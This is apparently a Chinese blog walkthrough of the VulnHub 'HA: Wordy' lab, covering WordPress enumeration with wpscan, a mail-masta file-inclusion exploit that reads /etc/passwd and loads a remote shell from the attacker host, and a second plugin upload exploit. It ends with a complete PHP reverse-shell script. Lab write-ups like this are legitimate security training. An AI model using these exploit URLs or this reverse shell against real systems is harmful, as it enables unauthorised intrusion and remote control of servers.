vulnhub靶机ha:wordy

news2025/2/28 13:02:39

靶机下载链接：HA: Wordy ~ VulnHub

靶机ip：192.168.174.136（后面重启后变成192.168.174.137）

kali ip：192.168.174.128

靶机ip发现:

靶机端口扫描:

子目录扫描：

wpscan扫描

漏洞利用1

漏洞利用2

getshell

提权

靶机ip发现:

靶机端口扫描:

子目录扫描：

扫描完成后进行查看，发现需要进行登录，然后再使用wpscan进行用户名和插件的扫描

wpscan扫描

wpscan --url 'http://192.168.174.136/wordpress/' -e u,p

用户名扫描到两个

插件扫到很多

很多都是过时了的

找到两个用户，这里可以尝试进行爆破使用的top1000字典进行爆破的，发现没有结果，

wpscan --url 'http://192.168.174.136/wordpress/' -e u -P PasswordDic-master/top1000.txt

这里就不做过多的尝试了因为还有很多的插件可以利用

漏洞利用1

这里先看一下gallery的exp

移动脚本到桌面，发现还需要账号密码

再看一下另外一个插件的漏洞，查看一下mail-masta的漏洞

都是1.0版本的，和我们的版本是一样的，这里是本地文件包含漏洞，进行查看

将txt下载到本地进行查看

发现payload

将payload进行拼接http://192.168.174.136/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

这样就可以可以通过包含远程shell执行解析并进行反弹shell

可以使用msfvenom生成也可以使用本地自带的反弹shell脚本

目录为/usr/share/webshells/php/php-reverse-shell.php

这里的主要几个步骤是将脚本放在任意目录下，先对脚本修改，修改ip和端口即可

这样我们的脚本就生成好了

接下来python开启服务，再开启nc进行shell的接收

用靶机的漏洞来访问kali的木马文件

http://192.168.174.137/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.174.128/yxq.php

这样就接收到了shell

漏洞利用2

这里再尝试一下其他插件，

这里发现payload和如何反弹shell

查看一下脚本

发现payload

这里把payload复制下来，进行ip和端口的修改，这后面有对应的年份和月份，这里根据我们在主页看到的几年几月，修改一下即可

修改完如下

这里将文件放在桌面，命名为shell.html,再使用python开启服务，访问本地127.0.0.1的shell.html，进行木马的上传，这里可以上传之前生成的木马即可

上传成功，现在打开nc接收shell，然后访问payload给的shell path即可

可以看到接收到shell

第一次上传的是kali生成的php反弹shell脚本，反弹失败，最后百度了php-reverse-shell的脚本，才成功反弹shell

只需要修改ip和端口即可

<?php

set_time_limit (0);

$ip = "192.168.1.111";

$port = "13123";



$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock)

       exit("$errstr ($errno)");



if(function_exists('proc_open')){

$descriptorspec = array(

   0 => array("pipe", "r"), 

   1 => array("pipe", "w"), 

   2 => array("pipe", "w") 

);

$process = proc_open("id;/bin/sh -i", $descriptorspec, $pipes);

if (!is_resource($process))

       exit("ERROR: Can't reverse shell");



stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

      

print("Successfully opened reverse shell to $ip:$port");



while (1) {

       if (feof($sock)) {

              print("ERROR: Shell connection terminated");

              break;

       }



       if (feof($pipes[1])) {

              print("ERROR: Shell process terminated");

              break;

       }

      

       $input = fread($sock, 1024);

       fwrite($pipes[0], $input);

      

       $output = fread($pipes[1], 1024);

       fwrite($sock, $output);

      

       $output = fread($pipes[2], 1024);

       fwrite($sock, $output);

}     

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

}

else print "function 'proc_open' is not exists.";

?>